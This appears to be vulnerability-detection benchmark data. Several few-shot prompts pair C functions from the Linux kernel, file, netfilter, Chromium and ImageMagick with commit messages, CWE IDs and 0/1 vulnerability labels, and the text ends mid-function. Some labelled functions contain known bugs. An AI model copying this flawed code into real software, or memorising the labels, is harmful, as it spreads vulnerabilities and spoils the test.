tmp_hdr.icmp6_type = type;
tmp_hdr.icmp6_code = code;
tmp_hdr.icmp6_cksum = 0;
tmp_hdr.icmp6_pointer = htonl(info);
if (!fl6.flowi6_oif && ipv6_addr_is_multicast(&fl6.daddr))
fl6.flowi6_oif = np->mcast_oif;
else if (!fl6.flowi6_oif)
fl6.flowi6_oif = np->ucast_oif;
ipc6.tclass = np->tclass;
fl6.flowlabel = ip6_make_flowinfo(ipc6.tclass, fl6.flowlabel);
dst = icmpv6_route_lookup(net, skb, sk, &fl6);
if (IS_ERR(dst))
goto out;
ipc6.hlimit = ip6_sk_dst_hoplimit(np, &fl6, dst);
ipc6.dontfrag = np->dontfrag;
ipc6.opt = NULL;
msg.skb = skb;
msg.offset = skb_network_offset(skb);
msg.type = type;
len = skb->len - msg.offset;
len = min_t(unsigned int, len, IPV6_MIN_MTU - sizeof(struct ipv6hdr) - sizeof(struct icmp6hdr));
if (len < 0) {
net_dbg_ratelimited("icmp: len problem [%pI6c > %pI6c]\n",
&hdr->saddr, &hdr->daddr);
goto out_dst_release;
}
rcu_read_lock();
idev = __in6_dev_get(skb->dev);
err = ip6_append_data(sk, icmpv6_getfrag, &msg,
len + sizeof(struct icmp6hdr),
sizeof(struct icmp6hdr),
&ipc6, &fl6, (struct rt6_info *)dst,
MSG_DONTWAIT, &sockc_unused);
if (err) {
ICMP6_INC_STATS(net, idev, ICMP6_MIB_OUTERRORS);
ip6_flush_pending_frames(sk);
} else {
err = icmpv6_push_pending_frames(sk, &fl6, &tmp_hdr,
len + sizeof(struct icmp6hdr));
}
rcu_read_unlock();
out_dst_release:
dst_release(dst);
out:
icmpv6_xmit_unlock(sk);
}
Commit Message: net: handle no dst on skb in icmp6_send
Andrey reported the following while fuzzing the kernel with syzkaller:
kasan: CONFIG_KASAN_INLINE enabled
kasan: GPF could be caused by NULL-ptr deref or user memory access
general protection fault: 0000 [#1] SMP KASAN
Modules linked in:
CPU: 0 PID: 3859 Comm: a.out Not tainted 4.9.0-rc6+ #429
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
task: ffff8800666d4200 task.stack: ffff880067348000
RIP: 0010:[<ffffffff833617ec>] [<ffffffff833617ec>]
icmp6_send+0x5fc/0x1e30 net/ipv6/icmp.c:451
RSP: 0018:ffff88006734f2c0 EFLAGS: 00010206
RAX: ffff8800666d4200 RBX: 0000000000000000 RCX: 0000000000000000
RDX: 0000000000000000 RSI: dffffc0000000000 RDI: 0000000000000018
RBP: ffff88006734f630 R08: ffff880064138418 R09: 0000000000000003
R10: dffffc0000000000 R11: 0000000000000005 R12: 0000000000000000
R13: ffffffff84e7e200 R14: ffff880064138484 R15: ffff8800641383c0
FS: 00007fb3887a07c0(0000) GS:ffff88006cc00000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000020000000 CR3: 000000006b040000 CR4: 00000000000006f0
Stack:
ffff8800666d4200 ffff8800666d49f8 ffff8800666d4200 ffffffff84c02460
ffff8800666d4a1a 1ffff1000ccdaa2f ffff88006734f498 0000000000000046
ffff88006734f440 ffffffff832f4269 ffff880064ba7456 0000000000000000
Call Trace:
[<ffffffff83364ddc>] icmpv6_param_prob+0x2c/0x40 net/ipv6/icmp.c:557
[< inline >] ip6_tlvopt_unknown net/ipv6/exthdrs.c:88
[<ffffffff83394405>] ip6_parse_tlv+0x555/0x670 net/ipv6/exthdrs.c:157
[<ffffffff8339a759>] ipv6_parse_hopopts+0x199/0x460 net/ipv6/exthdrs.c:663
[<ffffffff832ee773>] ipv6_rcv+0xfa3/0x1dc0 net/ipv6/ip6_input.c:191
...
icmp6_send / icmpv6_send is invoked for both rx and tx paths. In both
cases the dst->dev should be preferred for determining the L3 domain
if the dst has been set on the skb. Fallback to the skb->dev if it has
not. This covers the case reported here where icmp6_send is invoked on
Rx before the route lookup.
Fixes: 5d41ce29e ("net: icmp6_send should use dst dev to determine L3 domain")
Reported-by: Andrey Konovalov <[email protected]>
Signed-off-by: David Ahern <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-20
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: donote(struct magic_set *ms, void *vbuf, size_t offset, size_t size,
int clazz, int swap, size_t align, int *flags)
{
Elf32_Nhdr nh32;
Elf64_Nhdr nh64;
size_t noff, doff;
#ifdef ELFCORE
int os_style = -1;
#endif
uint32_t namesz, descsz;
unsigned char *nbuf = CAST(unsigned char *, vbuf);
if (xnh_sizeof + offset > size) {
/*
* We're out of note headers.
*/
return xnh_sizeof + offset;
}
(void)memcpy(xnh_addr, &nbuf[offset], xnh_sizeof);
offset += xnh_sizeof;
namesz = xnh_namesz;
descsz = xnh_descsz;
if ((namesz == 0) && (descsz == 0)) {
/*
* We're out of note headers.
*/
return (offset >= size) ? offset : size;
}
if (namesz & 0x80000000) {
(void)file_printf(ms, ", bad note name size 0x%lx",
(unsigned long)namesz);
return offset;
}
if (descsz & 0x80000000) {
(void)file_printf(ms, ", bad note description size 0x%lx",
(unsigned long)descsz);
return offset;
}
noff = offset;
doff = ELF_ALIGN(offset + namesz);
if (offset + namesz > size) {
/*
* We're past the end of the buffer.
*/
return doff;
}
offset = ELF_ALIGN(doff + descsz);
if (doff + descsz > size) {
/*
* We're past the end of the buffer.
*/
return (offset >= size) ? offset : size;
}
if ((*flags & (FLAGS_DID_NOTE|FLAGS_DID_BUILD_ID)) ==
(FLAGS_DID_NOTE|FLAGS_DID_BUILD_ID))
goto core;
if (namesz == 5 && strcmp((char *)&nbuf[noff], "SuSE") == 0 &&
xnh_type == NT_GNU_VERSION && descsz == 2) {
file_printf(ms, ", for SuSE %d.%d", nbuf[doff], nbuf[doff + 1]);
}
if (namesz == 4 && strcmp((char *)&nbuf[noff], "GNU") == 0 &&
xnh_type == NT_GNU_VERSION && descsz == 16) {
uint32_t desc[4];
(void)memcpy(desc, &nbuf[doff], sizeof(desc));
if (file_printf(ms, ", for GNU/") == -1)
return size;
switch (elf_getu32(swap, desc[0])) {
case GNU_OS_LINUX:
if (file_printf(ms, "Linux") == -1)
return size;
break;
case GNU_OS_HURD:
if (file_printf(ms, "Hurd") == -1)
return size;
break;
case GNU_OS_SOLARIS:
if (file_printf(ms, "Solaris") == -1)
return size;
break;
case GNU_OS_KFREEBSD:
if (file_printf(ms, "kFreeBSD") == -1)
return size;
break;
case GNU_OS_KNETBSD:
if (file_printf(ms, "kNetBSD") == -1)
return size;
break;
default:
if (file_printf(ms, "<unknown>") == -1)
return size;
}
if (file_printf(ms, " %d.%d.%d", elf_getu32(swap, desc[1]),
elf_getu32(swap, desc[2]), elf_getu32(swap, desc[3])) == -1)
return size;
*flags |= FLAGS_DID_NOTE;
return size;
}
if (namesz == 4 && strcmp((char *)&nbuf[noff], "GNU") == 0 &&
xnh_type == NT_GNU_BUILD_ID && (descsz == 16 || descsz == 20)) {
uint8_t desc[20];
uint32_t i;
if (file_printf(ms, ", BuildID[%s]=", descsz == 16 ? "md5/uuid" :
"sha1") == -1)
return size;
(void)memcpy(desc, &nbuf[doff], descsz);
for (i = 0; i < descsz; i++)
if (file_printf(ms, "%02x", desc[i]) == -1)
return size;
*flags |= FLAGS_DID_BUILD_ID;
}
if (namesz == 4 && strcmp((char *)&nbuf[noff], "PaX") == 0 &&
xnh_type == NT_NETBSD_PAX && descsz == 4) {
static const char *pax[] = {
"+mprotect",
"-mprotect",
"+segvguard",
"-segvguard",
"+ASLR",
"-ASLR",
};
uint32_t desc;
size_t i;
int did = 0;
(void)memcpy(&desc, &nbuf[doff], sizeof(desc));
desc = elf_getu32(swap, desc);
if (desc && file_printf(ms, ", PaX: ") == -1)
return size;
for (i = 0; i < __arraycount(pax); i++) {
if (((1 << i) & desc) == 0)
continue;
if (file_printf(ms, "%s%s", did++ ? "," : "",
pax[i]) == -1)
return size;
}
}
if (namesz == 7 && strcmp((char *)&nbuf[noff], "NetBSD") == 0) {
switch (xnh_type) {
case NT_NETBSD_VERSION:
if (descsz == 4) {
do_note_netbsd_version(ms, swap, &nbuf[doff]);
*flags |= FLAGS_DID_NOTE;
return size;
}
break;
case NT_NETBSD_MARCH:
if (file_printf(ms, ", compiled for: %.*s", (int)descsz,
(const char *)&nbuf[doff]) == -1)
return size;
break;
case NT_NETBSD_CMODEL:
if (file_printf(ms, ", compiler model: %.*s",
(int)descsz, (const char *)&nbuf[doff]) == -1)
return size;
break;
default:
if (file_printf(ms, ", note=%u", xnh_type) == -1)
return size;
break;
}
return size;
}
if (namesz == 8 && strcmp((char *)&nbuf[noff], "FreeBSD") == 0) {
if (xnh_type == NT_FREEBSD_VERSION && descsz == 4) {
do_note_freebsd_version(ms, swap, &nbuf[doff]);
*flags |= FLAGS_DID_NOTE;
return size;
}
}
if (namesz == 8 && strcmp((char *)&nbuf[noff], "OpenBSD") == 0 &&
xnh_type == NT_OPENBSD_VERSION && descsz == 4) {
if (file_printf(ms, ", for OpenBSD") == -1)
return size;
/* Content of note is always 0 */
*flags |= FLAGS_DID_NOTE;
return size;
}
if (namesz == 10 && strcmp((char *)&nbuf[noff], "DragonFly") == 0 &&
xnh_type == NT_DRAGONFLY_VERSION && descsz == 4) {
uint32_t desc;
if (file_printf(ms, ", for DragonFly") == -1)
return size;
(void)memcpy(&desc, &nbuf[doff], sizeof(desc));
desc = elf_getu32(swap, desc);
if (file_printf(ms, " %d.%d.%d", desc / 100000,
desc / 10000 % 10, desc % 10000) == -1)
return size;
*flags |= FLAGS_DID_NOTE;
return size;
}
core:
/*
* Sigh. The 2.0.36 kernel in Debian 2.1, at
* least, doesn't correctly implement name
* sections, in core dumps, as specified by
* the "Program Linking" section of "UNIX(R) System
* V Release 4 Programmer's Guide: ANSI C and
* Programming Support Tools", because my copy
* clearly says "The first 'namesz' bytes in 'name'
* contain a *null-terminated* [emphasis mine]
* character representation of the entry's owner
* or originator", but the 2.0.36 kernel code
* doesn't include the terminating null in the
* name....
*/
if ((namesz == 4 && strncmp((char *)&nbuf[noff], "CORE", 4) == 0) ||
(namesz == 5 && strcmp((char *)&nbuf[noff], "CORE") == 0)) {
os_style = OS_STYLE_SVR4;
}
if ((namesz == 8 && strcmp((char *)&nbuf[noff], "FreeBSD") == 0)) {
os_style = OS_STYLE_FREEBSD;
}
if ((namesz >= 11 && strncmp((char *)&nbuf[noff], "NetBSD-CORE", 11)
== 0)) {
os_style = OS_STYLE_NETBSD;
}
#ifdef ELFCORE
if ((*flags & FLAGS_DID_CORE) != 0)
return size;
if (os_style != -1 && (*flags & FLAGS_DID_CORE_STYLE) == 0) {
if (file_printf(ms, ", %s-style", os_style_names[os_style])
== -1)
return size;
*flags |= FLAGS_DID_CORE_STYLE;
}
switch (os_style) {
case OS_STYLE_NETBSD:
if (xnh_type == NT_NETBSD_CORE_PROCINFO) {
uint32_t signo;
/*
* Extract the program name. It is at
* offset 0x7c, and is up to 32-bytes,
* including the terminating NUL.
*/
if (file_printf(ms, ", from '%.31s'",
&nbuf[doff + 0x7c]) == -1)
return size;
/*
* Extract the signal number. It is at
* offset 0x08.
*/
(void)memcpy(&signo, &nbuf[doff + 0x08],
sizeof(signo));
if (file_printf(ms, " (signal %u)",
elf_getu32(swap, signo)) == -1)
return size;
*flags |= FLAGS_DID_CORE;
return size;
}
break;
default:
if (xnh_type == NT_PRPSINFO && *flags & FLAGS_IS_CORE) {
size_t i, j;
unsigned char c;
/*
* Extract the program name. We assume
* it to be 16 characters (that's what it
* is in SunOS 5.x and Linux).
*
* Unfortunately, it's at a different offset
* in various OSes, so try multiple offsets.
* If the characters aren't all printable,
* reject it.
*/
for (i = 0; i < NOFFSETS; i++) {
unsigned char *cname, *cp;
size_t reloffset = prpsoffsets(i);
size_t noffset = doff + reloffset;
size_t k;
for (j = 0; j < 16; j++, noffset++,
reloffset++) {
/*
* Make sure we're not past
* the end of the buffer; if
* we are, just give up.
*/
if (noffset >= size)
goto tryanother;
/*
* Make sure we're not past
* the end of the contents;
* if we are, this obviously
* isn't the right offset.
*/
if (reloffset >= descsz)
goto tryanother;
c = nbuf[noffset];
if (c == '\0') {
/*
* A '\0' at the
* beginning is
* obviously wrong.
* Any other '\0'
* means we're done.
*/
if (j == 0)
goto tryanother;
else
break;
} else {
/*
* A nonprintable
* character is also
* wrong.
*/
if (!isprint(c) || isquote(c))
goto tryanother;
}
}
/*
* Well, that worked.
*/
/*
* Try next offsets, in case this match is
* in the middle of a string.
*/
for (k = i + 1 ; k < NOFFSETS ; k++) {
size_t no;
int adjust = 1;
if (prpsoffsets(k) >= prpsoffsets(i))
continue;
for (no = doff + prpsoffsets(k);
no < doff + prpsoffsets(i); no++)
adjust = adjust
&& isprint(nbuf[no]);
if (adjust)
i = k;
}
cname = (unsigned char *)
&nbuf[doff + prpsoffsets(i)];
for (cp = cname; *cp && isprint(*cp); cp++)
continue;
/*
* Linux apparently appends a space at the end
* of the command line: remove it.
*/
while (cp > cname && isspace(cp[-1]))
cp--;
if (file_printf(ms, ", from '%.*s'",
(int)(cp - cname), cname) == -1)
return size;
*flags |= FLAGS_DID_CORE;
return size;
tryanother:
;
}
}
break;
}
#endif
return offset;
}
Commit Message: - limit the number of program and section header number of sections to be
processed to avoid excessive processing time.
- if a bad note is found, return 0 to stop processing immediately.
CWE ID: CWE-399
Target: 1
Example 2:
Code: ip6t_error(struct sk_buff *skb, const struct xt_action_param *par)
{
net_info_ratelimited("error: `%s'\n", (const char *)par->targinfo);
return NF_DROP;
}
Commit Message: netfilter: x_tables: make sure e->next_offset covers remaining blob size
Otherwise this function may read data beyond the ruleset blob.
Signed-off-by: Florian Westphal <[email protected]>
Signed-off-by: Pablo Neira Ayuso <[email protected]>
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void Clear() {
trace_parsed_.Clear();
json_output_.json_output.clear();
}
Commit Message: Tracing: Add support for PII whitelisting of individual trace event arguments
R=dsinclair,shatch
BUG=546093
Review URL: https://codereview.chromium.org/1415013003
Cr-Commit-Position: refs/heads/master@{#356690}
CWE ID: CWE-399
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static void __inet_del_ifa(struct in_device *in_dev, struct in_ifaddr **ifap,
int destroy, struct nlmsghdr *nlh, u32 portid)
{
struct in_ifaddr *promote = NULL;
struct in_ifaddr *ifa, *ifa1 = *ifap;
struct in_ifaddr *last_prim = in_dev->ifa_list;
struct in_ifaddr *prev_prom = NULL;
int do_promote = IN_DEV_PROMOTE_SECONDARIES(in_dev);
ASSERT_RTNL();
/* 1. Deleting primary ifaddr forces deletion all secondaries
* unless alias promotion is set
**/
if (!(ifa1->ifa_flags & IFA_F_SECONDARY)) {
struct in_ifaddr **ifap1 = &ifa1->ifa_next;
while ((ifa = *ifap1) != NULL) {
if (!(ifa->ifa_flags & IFA_F_SECONDARY) &&
ifa1->ifa_scope <= ifa->ifa_scope)
last_prim = ifa;
if (!(ifa->ifa_flags & IFA_F_SECONDARY) ||
ifa1->ifa_mask != ifa->ifa_mask ||
!inet_ifa_match(ifa1->ifa_address, ifa)) {
ifap1 = &ifa->ifa_next;
prev_prom = ifa;
continue;
}
if (!do_promote) {
inet_hash_remove(ifa);
*ifap1 = ifa->ifa_next;
rtmsg_ifa(RTM_DELADDR, ifa, nlh, portid);
blocking_notifier_call_chain(&inetaddr_chain,
NETDEV_DOWN, ifa);
inet_free_ifa(ifa);
} else {
promote = ifa;
break;
}
}
}
/* On promotion all secondaries from subnet are changing
* the primary IP, we must remove all their routes silently
* and later to add them back with new prefsrc. Do this
* while all addresses are on the device list.
*/
for (ifa = promote; ifa; ifa = ifa->ifa_next) {
if (ifa1->ifa_mask == ifa->ifa_mask &&
inet_ifa_match(ifa1->ifa_address, ifa))
fib_del_ifaddr(ifa, ifa1);
}
/* 2. Unlink it */
*ifap = ifa1->ifa_next;
inet_hash_remove(ifa1);
/* 3. Announce address deletion */
/* Send message first, then call notifier.
At first sight, FIB update triggered by notifier
will refer to already deleted ifaddr, that could confuse
netlink listeners. It is not true: look, gated sees
that route deleted and if it still thinks that ifaddr
is valid, it will try to restore deleted routes... Grr.
So that, this order is correct.
*/
rtmsg_ifa(RTM_DELADDR, ifa1, nlh, portid);
blocking_notifier_call_chain(&inetaddr_chain, NETDEV_DOWN, ifa1);
if (promote) {
struct in_ifaddr *next_sec = promote->ifa_next;
if (prev_prom) {
prev_prom->ifa_next = promote->ifa_next;
promote->ifa_next = last_prim->ifa_next;
last_prim->ifa_next = promote;
}
promote->ifa_flags &= ~IFA_F_SECONDARY;
rtmsg_ifa(RTM_NEWADDR, promote, nlh, portid);
blocking_notifier_call_chain(&inetaddr_chain,
NETDEV_UP, promote);
for (ifa = next_sec; ifa; ifa = ifa->ifa_next) {
if (ifa1->ifa_mask != ifa->ifa_mask ||
!inet_ifa_match(ifa1->ifa_address, ifa))
continue;
fib_add_ifaddr(ifa);
}
}
if (destroy)
inet_free_ifa(ifa1);
}
Commit Message: ipv4: Don't do expensive useless work during inetdev destroy.
When an inetdev is destroyed, every address assigned to the interface
is removed. And in this scenerio we do two pointless things which can
be very expensive if the number of assigned interfaces is large:
1) Address promotion. We are deleting all addresses, so there is no
point in doing this.
2) A full nf conntrack table purge for every address. We only need to
do this once, as is already caught by the existing
masq_dev_notifier so masq_inet_event() can skip this.
Reported-by: Solar Designer <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
Tested-by: Cyrill Gorcunov <[email protected]>
CWE ID: CWE-399
Target: 1
Example 2:
Code: known_authentication_scheme_p (const char *hdrbeg, const char *hdrend)
{
return STARTS ("Basic", hdrbeg, hdrend)
#ifdef ENABLE_DIGEST
|| STARTS ("Digest", hdrbeg, hdrend)
#endif
#ifdef ENABLE_NTLM
|| STARTS ("NTLM", hdrbeg, hdrend)
#endif
;
}
Commit Message:
CWE ID: CWE-20
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static Image *ReadSGIImage(const ImageInfo *image_info,ExceptionInfo *exception)
{
Image
*image;
MagickBooleanType
status;
MagickSizeType
number_pixels;
MemoryInfo
*pixel_info;
register Quantum
*q;
register ssize_t
i,
x;
register unsigned char
*p;
SGIInfo
iris_info;
size_t
bytes_per_pixel,
quantum;
ssize_t
count,
y,
z;
unsigned char
*pixels;
/*
Open image file.
*/
assert(image_info != (const ImageInfo *) NULL);
assert(image_info->signature == MagickCoreSignature);
if (image_info->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",
image_info->filename);
assert(exception != (ExceptionInfo *) NULL);
assert(exception->signature == MagickCoreSignature);
image=AcquireImage(image_info,exception);
status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
if (status == MagickFalse)
{
image=DestroyImageList(image);
return((Image *) NULL);
}
/*
Read SGI raster header.
*/
iris_info.magic=ReadBlobMSBShort(image);
do
{
/*
Verify SGI identifier.
*/
if (iris_info.magic != 0x01DA)
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
iris_info.storage=(unsigned char) ReadBlobByte(image);
switch (iris_info.storage)
{
case 0x00: image->compression=NoCompression; break;
case 0x01: image->compression=RLECompression; break;
default:
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
}
iris_info.bytes_per_pixel=(unsigned char) ReadBlobByte(image);
if ((iris_info.bytes_per_pixel == 0) || (iris_info.bytes_per_pixel > 2))
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
iris_info.dimension=ReadBlobMSBShort(image);
iris_info.columns=ReadBlobMSBShort(image);
iris_info.rows=ReadBlobMSBShort(image);
iris_info.depth=ReadBlobMSBShort(image);
if ((iris_info.depth == 0) || (iris_info.depth > 4))
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
iris_info.minimum_value=ReadBlobMSBLong(image);
iris_info.maximum_value=ReadBlobMSBLong(image);
iris_info.sans=ReadBlobMSBLong(image);
(void) ReadBlob(image,sizeof(iris_info.name),(unsigned char *)
iris_info.name);
iris_info.name[sizeof(iris_info.name)-1]='\0';
if (*iris_info.name != '\0')
(void) SetImageProperty(image,"label",iris_info.name,exception);
iris_info.pixel_format=ReadBlobMSBLong(image);
if (iris_info.pixel_format != 0)
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
count=ReadBlob(image,sizeof(iris_info.filler),iris_info.filler);
(void) count;
image->columns=iris_info.columns;
image->rows=iris_info.rows;
image->depth=(size_t) MagickMin(iris_info.depth,MAGICKCORE_QUANTUM_DEPTH);
if (iris_info.pixel_format == 0)
image->depth=(size_t) MagickMin((size_t) 8*iris_info.bytes_per_pixel,
MAGICKCORE_QUANTUM_DEPTH);
if (iris_info.depth < 3)
{
image->storage_class=PseudoClass;
image->colors=iris_info.bytes_per_pixel > 1 ? 65535 : 256;
}
if (EOFBlob(image) != MagickFalse)
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))
if (image->scene >= (image_info->scene+image_info->number_scenes-1))
break;
status=SetImageExtent(image,image->columns,image->rows,exception);
if (status == MagickFalse)
return(DestroyImageList(image));
/*
Allocate SGI pixels.
*/
bytes_per_pixel=(size_t) iris_info.bytes_per_pixel;
number_pixels=(MagickSizeType) iris_info.columns*iris_info.rows;
if ((4*bytes_per_pixel*number_pixels) != ((MagickSizeType) (size_t)
(4*bytes_per_pixel*number_pixels)))
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
pixel_info=AcquireVirtualMemory(iris_info.columns,iris_info.rows*4*
bytes_per_pixel*sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);
if ((int) iris_info.storage != 0x01)
{
unsigned char
*scanline;
/*
Read standard image format.
*/
scanline=(unsigned char *) AcquireQuantumMemory(iris_info.columns,
bytes_per_pixel*sizeof(*scanline));
if (scanline == (unsigned char *) NULL)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
for (z=0; z < (ssize_t) iris_info.depth; z++)
{
p=pixels+bytes_per_pixel*z;
for (y=0; y < (ssize_t) iris_info.rows; y++)
{
count=ReadBlob(image,bytes_per_pixel*iris_info.columns,scanline);
if (EOFBlob(image) != MagickFalse)
break;
if (bytes_per_pixel == 2)
for (x=0; x < (ssize_t) iris_info.columns; x++)
{
*p=scanline[2*x];
*(p+1)=scanline[2*x+1];
p+=8;
}
else
for (x=0; x < (ssize_t) iris_info.columns; x++)
{
*p=scanline[x];
p+=4;
}
}
}
scanline=(unsigned char *) RelinquishMagickMemory(scanline);
}
else
{
MemoryInfo
*packet_info;
size_t
*runlength;
ssize_t
offset,
*offsets;
unsigned char
*packets;
unsigned int
data_order;
/*
Read runlength-encoded image format.
*/
offsets=(ssize_t *) AcquireQuantumMemory((size_t) iris_info.rows,
iris_info.depth*sizeof(*offsets));
runlength=(size_t *) AcquireQuantumMemory(iris_info.rows,
iris_info.depth*sizeof(*runlength));
packet_info=AcquireVirtualMemory((size_t) iris_info.columns+10UL,4UL*
sizeof(*packets));
if ((offsets == (ssize_t *) NULL) ||
(runlength == (size_t *) NULL) ||
(packet_info == (MemoryInfo *) NULL))
{
if (offsets == (ssize_t *) NULL)
offsets=(ssize_t *) RelinquishMagickMemory(offsets);
if (runlength == (size_t *) NULL)
runlength=(size_t *) RelinquishMagickMemory(runlength);
if (packet_info == (MemoryInfo *) NULL)
packet_info=RelinquishVirtualMemory(packet_info);
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
}
packets=(unsigned char *) GetVirtualMemoryBlob(packet_info);
for (i=0; i < (ssize_t) (iris_info.rows*iris_info.depth); i++)
offsets[i]=ReadBlobMSBSignedLong(image);
for (i=0; i < (ssize_t) (iris_info.rows*iris_info.depth); i++)
{
runlength[i]=ReadBlobMSBLong(image);
if (runlength[i] > (4*(size_t) iris_info.columns+10))
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
}
/*
Check data order.
*/
offset=0;
data_order=0;
for (y=0; ((y < (ssize_t) iris_info.rows) && (data_order == 0)); y++)
for (z=0; ((z < (ssize_t) iris_info.depth) && (data_order == 0)); z++)
{
if (offsets[y+z*iris_info.rows] < offset)
data_order=1;
offset=offsets[y+z*iris_info.rows];
}
offset=(ssize_t) TellBlob(image);
if (data_order == 1)
{
for (z=0; z < (ssize_t) iris_info.depth; z++)
{
p=pixels;
for (y=0; y < (ssize_t) iris_info.rows; y++)
{
if (offset != offsets[y+z*iris_info.rows])
{
offset=offsets[y+z*iris_info.rows];
offset=(ssize_t) SeekBlob(image,(ssize_t) offset,SEEK_SET);
}
count=ReadBlob(image,(size_t) runlength[y+z*iris_info.rows],
packets);
if (EOFBlob(image) != MagickFalse)
break;
offset+=(ssize_t) runlength[y+z*iris_info.rows];
status=SGIDecode(bytes_per_pixel,(ssize_t)
(runlength[y+z*iris_info.rows]/bytes_per_pixel),packets,
1L*iris_info.columns,p+bytes_per_pixel*z);
if (status == MagickFalse)
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
p+=(iris_info.columns*4*bytes_per_pixel);
}
}
}
else
{
MagickOffsetType
position;
position=TellBlob(image);
p=pixels;
for (y=0; y < (ssize_t) iris_info.rows; y++)
{
for (z=0; z < (ssize_t) iris_info.depth; z++)
{
if (offset != offsets[y+z*iris_info.rows])
{
offset=offsets[y+z*iris_info.rows];
offset=(ssize_t) SeekBlob(image,(ssize_t) offset,SEEK_SET);
}
count=ReadBlob(image,(size_t) runlength[y+z*iris_info.rows],
packets);
if (EOFBlob(image) != MagickFalse)
break;
offset+=(ssize_t) runlength[y+z*iris_info.rows];
status=SGIDecode(bytes_per_pixel,(ssize_t)
(runlength[y+z*iris_info.rows]/bytes_per_pixel),packets,
1L*iris_info.columns,p+bytes_per_pixel*z);
if (status == MagickFalse)
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
}
p+=(iris_info.columns*4*bytes_per_pixel);
}
offset=(ssize_t) SeekBlob(image,position,SEEK_SET);
}
packet_info=RelinquishVirtualMemory(packet_info);
runlength=(size_t *) RelinquishMagickMemory(runlength);
offsets=(ssize_t *) RelinquishMagickMemory(offsets);
}
/*
Initialize image structure.
*/
image->alpha_trait=iris_info.depth == 4 ? BlendPixelTrait :
UndefinedPixelTrait;
image->columns=iris_info.columns;
image->rows=iris_info.rows;
/*
Convert SGI raster image to pixel packets.
*/
if (image->storage_class == DirectClass)
{
/*
Convert SGI image to DirectClass pixel packets.
*/
if (bytes_per_pixel == 2)
{
for (y=0; y < (ssize_t) image->rows; y++)
{
p=pixels+(image->rows-y-1)*8*image->columns;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (Quantum *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelRed(image,ScaleShortToQuantum((unsigned short)
((*(p+0) << 8) | (*(p+1)))),q);
SetPixelGreen(image,ScaleShortToQuantum((unsigned short)
((*(p+2) << 8) | (*(p+3)))),q);
SetPixelBlue(image,ScaleShortToQuantum((unsigned short)
((*(p+4) << 8) | (*(p+5)))),q);
SetPixelAlpha(image,OpaqueAlpha,q);
if (image->alpha_trait != UndefinedPixelTrait)
SetPixelAlpha(image,ScaleShortToQuantum((unsigned short)
((*(p+6) << 8) | (*(p+7)))),q);
p+=8;
q+=GetPixelChannels(image);
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)
y,image->rows);
if (status == MagickFalse)
break;
}
}
}
else
for (y=0; y < (ssize_t) image->rows; y++)
{
p=pixels+(image->rows-y-1)*4*image->columns;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (Quantum *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelRed(image,ScaleCharToQuantum(*p),q);
SetPixelGreen(image,ScaleCharToQuantum(*(p+1)),q);
SetPixelBlue(image,ScaleCharToQuantum(*(p+2)),q);
SetPixelAlpha(image,OpaqueAlpha,q);
if (image->alpha_trait != UndefinedPixelTrait)
SetPixelAlpha(image,ScaleCharToQuantum(*(p+3)),q);
p+=4;
q+=GetPixelChannels(image);
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,
image->rows);
if (status == MagickFalse)
break;
}
}
}
else
{
/*
Create grayscale map.
*/
if (AcquireImageColormap(image,image->colors,exception) == MagickFalse)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
/*
Convert SGI image to PseudoClass pixel packets.
*/
if (bytes_per_pixel == 2)
{
for (y=0; y < (ssize_t) image->rows; y++)
{
p=pixels+(image->rows-y-1)*8*image->columns;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (Quantum *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
quantum=(*p << 8);
quantum|=(*(p+1));
SetPixelIndex(image,(Quantum) quantum,q);
p+=8;
q+=GetPixelChannels(image);
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)
y,image->rows);
if (status == MagickFalse)
break;
}
}
}
else
